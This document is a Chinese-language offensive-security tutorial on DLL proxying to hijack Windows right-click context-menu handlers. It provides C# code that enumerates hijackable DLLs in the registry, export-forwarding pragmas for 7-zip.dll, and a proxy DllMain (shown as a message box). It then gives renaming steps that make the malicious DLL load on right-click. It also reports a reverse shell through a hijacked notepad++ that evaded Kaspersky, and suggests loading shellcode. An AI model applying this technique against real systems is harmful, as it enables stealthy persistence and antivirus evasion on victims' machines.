DLL代理

如下图,DLL代理是通过创建一个恶意的DLL来替换原有程序的DLL,同时不删除原有程序的DLL,将其重命名。恶意的DLL在被调用的时候会运行恶意的代码功能,并把原有的DLL功能部分转发给原始DLL,这样更好的确保原有程序的功能正常运行且不被迫坏。

1586780770334

右键菜单注册表

注册表路径:HKLM\Software\Classes*\ShellEx\ContextMenuHandlers

利用autoruns可以查看此注册表路径中加载的DLL文件。

同样也可以对其他自启动注册表里的dll文件进行劫持。

我们可以用C#实现一个小程序来读取可劫持的DLL。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace dll
{
class Program
{
static void Main(string[] args)
{
GetKey(@"Software\Classes\*\ShellEx\ContextMenuHandlers\");
}

private static void GetKey(string path)
{

using (RegistryKey key = Registry.LocalMachine.OpenSubKey(path))
{
if (key != null)
{

string[] rk = key.GetSubKeyNames();
foreach (var item in rk)
{

string value = GetRegistryValue(path + item);
string imgpath = GetrootValue(@"CLSID\" + value + @"\InprocServer32\");
if (imgpath != null && imgpath != "")
{
Console.WriteLine(imgpath);
}
}

}

}
}
protected static string GetRegistryValue(string path)
{
string value = string.Empty;
RegistryKey root = Registry.LocalMachine;
RegistryKey rk = root.OpenSubKey(path);
if (rk != null)
{
value = (string)rk.GetValue("", null);
}
return value;
}
protected static string GetrootValue(string path)
{
string value = string.Empty;
RegistryKey root = Registry.ClassesRoot;
RegistryKey rk = root.OpenSubKey(path);
if (rk != null)
{
value = (string)rk.GetValue("", null);
}
return value;
}
}
}

1586780654385

创建一个代理的DLL

这里用到一个开源的项目。

https://github.com/rek7/dll-hijacking

1586780811272

生成的definitions.h

1
2
3
4
5
6
7
8
9
10
#pragma once

/*
7-zip.dll - 8664 machine (x64)
*/

#pragma comment(linker,"/export:DllCanUnloadNow=7-zip_.DllCanUnloadNow,@1")
#pragma comment(linker,"/export:DllGetClassObject=7-zip_.DllGetClassObject,@2")
#pragma comment(linker,"/export:DllRegisterServer=7-zip_.DllRegisterServer,@3")
#pragma comment(linker,"/export:DllUnregisterServer=7-zip_.DllUnregisterServer,@4")

替换definitions.h头文件,作者项目的代码里是用的powershell来反弹shell。代码好像有点问题,我这里修改代码进行简单的弹框测试。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*

https://itm4n.github.io/dll-proxying/
https://www.codeproject.com/Articles/17863/Using-Pragmas-to-Create-a-Proxy-DLL

to implement: hooking specific functions

*/

#include "definitions.h"
#include <thread>
#include <chrono>
#include <random>
extern "C" {
#include <stdlib.h>
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <ws2tcpip.h>
}
using namespace std;
#pragma comment(lib,"Ws2_32.lib")

BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to DLL module
DWORD fdwReason, // reason for calling function
LPVOID lpReserved) // reserved
{
srand(time(NULL));
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
{
MessageBox(NULL, "Zero Team", "Zero team", MB_OK);
break;
}
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
default:
break;
}
return true; // Successful DLL_PROCESS_ATTACH.
}

劫持程序右键菜单

编译生成恶意的DLL命名为7-zip.dll,并将原有DLL改名为7-zip_.dll。当我们右键单击程序时,即可运行恶意的DLL。

1586780745270

拓展

作者项目里的反弹shell,测试不能成功。我们可以自己用C语言写一个反弹shell的功能,或者加载shellcode。

如下为在装有卡巴斯基的机器上测试劫持notepad++。成功劫持,并反弹shell,且卡巴斯基未告警。

1586780727660

1586780693681

反弹shell demo流量未加密,最好不要在实战中使用,dll内容可以自己发挥。

Reference

https://b.ou.is/articles/2020-03/context-menu-persistance